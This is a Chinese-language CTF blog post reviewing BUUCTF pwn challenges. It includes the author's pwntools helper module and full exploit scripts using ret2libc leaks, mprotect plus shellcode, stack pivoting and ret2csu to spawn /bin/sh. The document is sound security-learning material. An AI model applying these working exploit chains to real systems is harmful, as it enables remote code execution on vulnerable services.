buu第一页复盘
这里就对之前第一遍没写出来的题目再写一次wp
写在之前
贴一下我的模块文件
from pwn import *
from LibcSearcher import *
from struct import *
def debug(io):
gdb.attach(proc.pidof(io)[0])
pause()
def show_libc_base(libc_base):
print("-----------libc_base-------------")
print(hex(libc_base))
print("---------------------------------")
def csu_frame(csu_end_addr, csu_front_addr, r12, r13, r14, r15, last):
# pop rbx,rbp,r12,r13,r14,r15
# r12 should be the function we want to call
# rdi=edi=r15d
# rsi=r14
# rdx=r13
rbx = 0
rbp = 0x1
csu_payload = p64(csu_end_addr) + p64(rbx) + p64(rbp) + p64(r12) + p64(
r13) + p64(r14) + p64(r15)
csu_payload += p64(csu_front_addr)
csu_payload += b'a' * 0x38
csu_payload += p64(last)
sleep(1)
return csu_payload
def sigframe(fun, rdi, rsi, rdx, rsp, rip):
sigframe = SigreturnFrame()
if fun == 'read':
sigframe.rax = constants.SYS_read
if fun == 'execve':
sigframe.rax = constants.SYS_execve
sigframe.rdi = rdi
sigframe.rsi = rsi
sigframe.rdx = rdx
sigframe.rsp = rsp
# rip 一般为 syscall 的地址
sigframe.rip = rip
return sigframe
def mprotect_frame(pop3ret, bss):
# the last three number of bss address must be 000
payload = flat(elf.symbols['mprotect'], pop3ret, bss, 0xff, 0x7, elf.symbols['gets'], bss, bss)
return payload
第七题 第五空间2019 决赛]PWN5
即格式化字符串的应用
从esp往下数(不包括esp),第十个即为第一个参数的地址
第十二题 get_started_3dsctf_2016
之前学长讲了一下这个的求偏移的方法,但是想了很久都没有理解,所以自己又想了一些通过动调获得偏移的方法
直接:
然后用python测试长度,并获得偏移
后面的就很简单了,是静态编译的并且存在后门函数
ps: 后来尝试用 brop 的方法试了一下,但是不知道什么原因爆破不出来,看来 brop 的方法我还需要用很多题目一起研究一下
第十五题 [OGeek2019]babyrop
主函数
惯例使用 ret2libc
1.泄露libc地址
1.然后直接就可以通了(卡住后一般动调一下就好了)
exp如下
from my_base_pwn import *
from my_brop import *
pwn = "./pwn"
context(log_level='debug')
context.terminal = ['tmux','splitw','-h']
context.binary = elf = ELF(pwn)
rop = ROP(context.binary)
if args['REMOTE']:
io = remote('127.0.0.1', 7777)
else:
io = process(pwn)
elf = ELF(pwn)
libc = ELF("/lib/i386-linux-gnu/libc.so.6")
# libc = ELF("./libc-2.23.so")
def debug():
gdb.attach(proc.pidof(io)[0])
pause()
main_addr = 0x08048825
pop3ret = 0x080488f9
payload1 = b'\x00'
payload1 += b'\xff' * 8
io.send(payload1)
io.recv()
# debug()
payload2 = cyclic(0xe7 + 4)
payload2 += flat(elf.symbols['write'], pop3ret, 1, elf.got['write'], 0x4, main_addr)
io.send(payload2)
write_add = u32(io.recv(4))
libc_base = write_add - libc.symbols['write']
system_addr = libc_base + libc.symbols['system']
binsh = libc_base + (next(libc.search(b'/bin/sh\x00')))
show_libc_base(libc_base)
payload3 = payload1
io.send(payload3)
io.recv()
payload4 = cyclic(0xe7 + 4)
payload4 += flat(system_addr, 0, binsh)
io.send(payload4)
io.interactive()
第十九题 not_the_same_3dsctf_2016
尝试使用 mprotect 解决问题
可以发现使用后出现 rwe 段了
from my_base_pwn import *
from my_brop import *
pwn = "./not_the_same_3dsctf_2016"
context(log_level='debug')
context.terminal = ['tmux','splitw','-h']
context.binary = elf = ELF(pwn)
rop = ROP(context.binary)
if args['REMOTE']:
io = remote('127.0.0.1', 7777)
else:
io = process(pwn)
elf = ELF(pwn)
libc = ELF("/lib/i386-linux-gnu/libc.so.6")
# libc = ELF("./libc-2.23.so")
def debug():
gdb.attach(proc.pidof(io)[0])
pause()
bss = 0x80ec000
# io.recv()
rop.raw(cyclic(0x2d))
rop.mprotect(bss,0xff,0x7)
rop.main()
payload1 = rop.chain()
io.sendline(payload1)
# debug()
sleep(0.1)
rop = ROP(pwn)
rop.raw(cyclic(0x2d))
rop.read(0, bss, 0xff)
rop.main()
payload2 = rop.chain()
io.sendline(payload2)
sleep(0.1)
payload3 = asm(shellcraft.sh())
io.sendline(payload3)
sleep(0.1)
payload4 = cyclic(0x2d)
payload4 += flat(bss)
io.sendline(payload4)
io.interactive()
然后就很轻松了。
ok,前几天学的东西确实可以极大的提高我的写题速度,不过也不能过于依赖这些东西,或者多想想这些代码背后的逻辑。
不过发现这几天一直在看pwntools源码还是很不错的。
第二十六题 ciscn_2019_es_2
无法直接进行栈溢出
发现可以泄露栈地址
调试后发现可以泄露
且多次调试后发现泄露出来的值与ebp此时的值有固定的偏移
思路出来了,先利用 vul 的 ret 进行栈迁移并构造rop链,再利用主函数的 ret 获取 shell
直接迁移到ebp的位置(迁移地址为泄露地址减10),根据崩溃时的位置和栈情况观察主函数返回地址的位置,我们发送 0x28 个垃圾字节
可以发现返回到了迁移后ebp返回地址的的前一个单位
存个疑问,一般不是在后面的一个地址吗
存在漏洞利用函数
但是发现 next(elf.search(b'sh\x00')) 一直报错,看样子这两个地方的字符串不能随意使用。所以打算自己写入一个 sh。
后来发现无法写入,然后打算直接写入栈
并且发现写入 elf.symbols['read'] 之前没法使用,动调时发现地址发生改变。
最终payload如下
from my_base_pwn import *
from my_brop import *
pwn = "./ciscn_2019_es_2"
context(log_level='debug')
context.terminal = ['tmux','splitw','-h']
context.binary = elf = ELF(pwn)
rop = ROP(context.binary)
if args['REMOTE']:
io = remote('127.0.0.1', 7777)
else:
io = process(pwn)
libc = ELF("/lib/i386-linux-gnu/libc.so.6")
# libc = ELF("./libc-2.23.so")
def debug():
gdb.attach(proc.pidof(io)[0])
pause()
pop3ret = 0x08048699
bss = 0x804b800
leave_ret = 0x08048562
# debug()
io.recvline()
payload1 = cyclic(0x24)
io.send(payload1)
io.recv(0x27)
add1 = u32(io.recv(4))
add2 = u32(io.recv(4))
add3 = u32(io.recv(4))
log.success('add3 ' + str(hex(add3)))
# log.success('add2 ' + str(hex(add2)))
aim_migrate = add3 - 0x10 -0x28
# debug()
payload2 = flat(b'aaaa', elf.symbols['system'], b'aaaa', aim_migrate + 16, b'/bin/sh\x00')
payload2 = payload2.ljust(0x28,b'a')
payload2 += flat(aim_migrate, leave_ret)
io.send(payload2)
io.recvuntil(b'ello,')
io.interactive()
同时探讨了一下 rop.migrate() 的作用
发现它是利用 return addr 进行迁移的,所以比通常的迁移要多出一个单位数据。
第三十一题 ciscn_2019_s_3
一个是远程的csu相关偏移不同,还有就是本地的偏移寻找有一定难度
我的脚本:
from my_base_pwn import *
from my_brop import *
context(os='linux', arch='amd64', log_level='debug')
context.terminal = ['tmux','splitw','-h']
def debug():
gdb.attach(proc.pidof(io)[0])
pause()
pwn = "./ciscn_s_3"
io = process(pwn)
# io = remote("node5.buuoj.cn", 27488)
elf = ELF(pwn)
# libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")
# libc = ELF("./libc-2.23.so")
csu_end = 0x000000000040059A
csu_front = 0x0000000000400580
rax_ini = 0x00000000004004e2
syscall = 0x0000000000400501
vul_func = 0x00000000004004ED
rdi = 0x00000000004005a3
rsi_r15 = 0x00000000004005a1
ret = 0x00000000004003a9
payload1 = cyclic(0x10)
payload1 += flat(vul_func)
# debug()
io.sendline(payload1)
# debug()
io.recv(0x20)
# test_addr = u64(io.recv(6).ljust(8,b'\x00'))
# io.recv(0x10 - 6)
# print(hex(test_addr))
buf_addr = u64(io.recv(6).ljust(8,b'\x00'))
print(hex(buf_addr))
# debug()
debug()
binsh = buf_addr - 0x148
# 远程是下面这个 -0x118
# binsh = buf_addr - 0x118
payload2 = b'/bin/sh\x00' + cyclic(0x8)
payload2 += csu_frame(csu_end, csu_front, binsh + 0x98, 0, 0, 0, rdi)
payload2 += flat(binsh, rax_ini, ret, syscall)
io.sendline(payload2)
io.interactive()
使用ret2csu的时候,需要注意以下偏移的问题
可以发现该脚本泄露出的地址减去 0x148 即为程序写入的地址
检验了一下
同时注意一下 r12 应该传入的数值为一个内容可被再次解析的地址,假如我 0x7ffc0dfa7ea8 保存的是 0x400304 ,且 0x400304 的地址是可执行的汇编代码,然后把 0x7ffc0dfa7ea8 传入才不会报错(这段的数字都是我自己造的)
然后可以计算一下偏移,直接利用代码进行计算就行
有些疑惑就先存着吧,以后转回来看看
buu第一页复盘的更多相关文章
- 论Top与ROW_NUMBER读取第一页的效率问题
10.29 前一段时间研究关于分页的问题,由于数据库属于百万级的,考虑了关于优化方面的问题.其中一个考虑是:第一页展现的频率肯定是最高的,所以我想第一页就使用Top N来读取. 这个想法本身是没有错, ...
- INNO 补丁制作技术, 打开 INNO 补丁制作方法的第一页
INNO 补丁制作技术, 打开 INNO 补丁制作方法的第一页 作者:xin 日期:2005-09-23 字体大小: 小 中 大 VPatch 在 INNO 中的应用. VPatch 属于专为NS ...
- python使用get在百度搜索并保存第一页搜索结果
python使用get在百度搜索并保存第一页搜索结果 作者:vpoet mail:vpoet_sir@163.com 注:随意copy,不用在意我的感受 #coding:utf-8 import ur ...
- ViewPagerWithImageDemo【ViewPager如何判断滑动到第一页和最后一页以及弹出对话框功能】
版权声明:本文为HaiyuKing原创文章,转载请注明出处! 前言 记录viewpager滑动的时候弹出对话框的功能(关键功能是滑动弹出对话框后,隐藏对话框的时候当前页可以还原到原位置),顺便判断首页 ...
- php分页数据最后一页继续追加第一页数据
之前做数据分页遇到这样一个需求,就是数据到最后一页的时候不能中断,继续把第一页的数据追加到后面,无限显示下去. 原文地址:代码汇个人博客 http://www.codehui.net/info/23. ...
- bootstrapTable刷新当前页码不变和从第一页开始查询
function searchAgencyProject(){ $("#statisticalProjectListTable").bootstrapTable('refresh' ...
- word2003设置页码不从第一页开始的方法
问题描述:如果你想设置页码从第三四页开始,前边不要页码,或者前边的页码是不同类型的.那么这个时候就要用到:插入->分隔符模式. 如果你的页面中的各个标题是从样式和格式中选择的,既是你先设置好各种 ...
- Word中摘要和正文同时分栏后,正文跑到下一页,怎么办?或Word分栏后第一页明明有空位后面的文字却自动跳到第二页了,怎么办?
问题1:Word中摘要和正文同时分栏后,正文跑到下一页,怎么办?或Word分栏后第一页明明有空位后面的文字却自动跳到第二页了,怎么办? 答:在word2010中,菜单栏中最左侧选“文件”->“选 ...
- BZOJ第一页刷题计划
BZOJ第一页刷题计划 已完成:67 / 90 [BZOJ1000]A+B Problem:A+B: [BZOJ1001][BeiJing2006]狼抓兔子:最小割: [BZOJ1002][FJOI2 ...
- Word 2007 如何设置正文第一页----目录显示正文从第一页开始
最近学校里开始要求写论文了,其中有个目录中的页码都不是从第一页开始的,毕竟前面还有封面.中英文摘要.目录等,所以正文内容就不是从第一页开始的了,但是很多的书上所有正文都是从第一页开始的,我的论文如何才 ...
随机推荐
- 8、数据库学习规划:MS SQL Server - 学习规划系列文章
微软的SQL Server数据库是笔者最先接触的数据库,虽然之前有Access,但是那个是学校里知道的,没实际去开发基于Access的程序.SQL Server发展到现在已经有很多个版本了,其功能也非 ...
- (C语言)每日代码||2023.12.25||函数传参,传入数组时传递的是数组首元素地址
向函数传入某数组时,可以在函数内修改该数组的元素. #include <stdio.h> void test(char* p, char arr[]) { *p = 'h';//能改变 * ...
- 小知识:OGG的TRANLOGOPTIONS MINEFROMACTIVEDG参数
最近客户有一个需求,OGG源端需要配置在ADG环境,按历史配置规范,开启抽取进程报错: 2020-08-26 18:02:27 ERROR OGG-00060 Extract requires a v ...
- MySQL主主同步环境出现1236错误
环境: MySQL 5.7.25 主主架构 故障现象: 发现互相之间的同步均发生异常,两端均出现1236错误,在两个主节点上分别执行show slave status显示的关键信息如下: Master ...
- Linux中出现Perf: interrupt took too long
问题原因: perf: interrupt took too long_雪虎-JL的博客-CSDN博客 解决方法: perf: interrupt took too long (3136 > 3 ...
- Linux进程通信 | 共享内存
一.共享内存是什么 在Linux系统中,共享内存是一种IPC(进程间通信)方式,它可以让多个进程在物理内存中共享一段内存区域. 这种共享内存区域被映射到多个进程的虚拟地址空间中,使得多个进程可以直接访 ...
- Laravel入坑指南(9)——数据迁移与填充
当我们开发完成一个(小)项目,发布到线上时,我们需要将本地数据库迁移到服务器上,并且填充初始化数据.而Laravel框架规定了一套完善的数据迁移与填充机制. 在官网中分别介绍了以下四个命令: php ...
- golang 打隧道和端口转发
`package main import ( "golang.org/x/crypto/ssh" "io" "log" "net& ...
- win32 - ReadDirectoryChangesW的使用
任务:创建一个进程,并在进程内创建一个文本,再创建另一个进程来监控第一个进程内的文本变化 //Process 1 #include <windows.h> #include <ios ...
- Golang微服务框架go-kratos分析:框架架构分析
一.kratos设计理念 这里主要讲解 kratos v2 的设计理念. kratos 框架制定接口规范,然后通过插件来实现具体需求,实现自由定制.可插拔的微服务框架. 我们既可以选择 kratos ...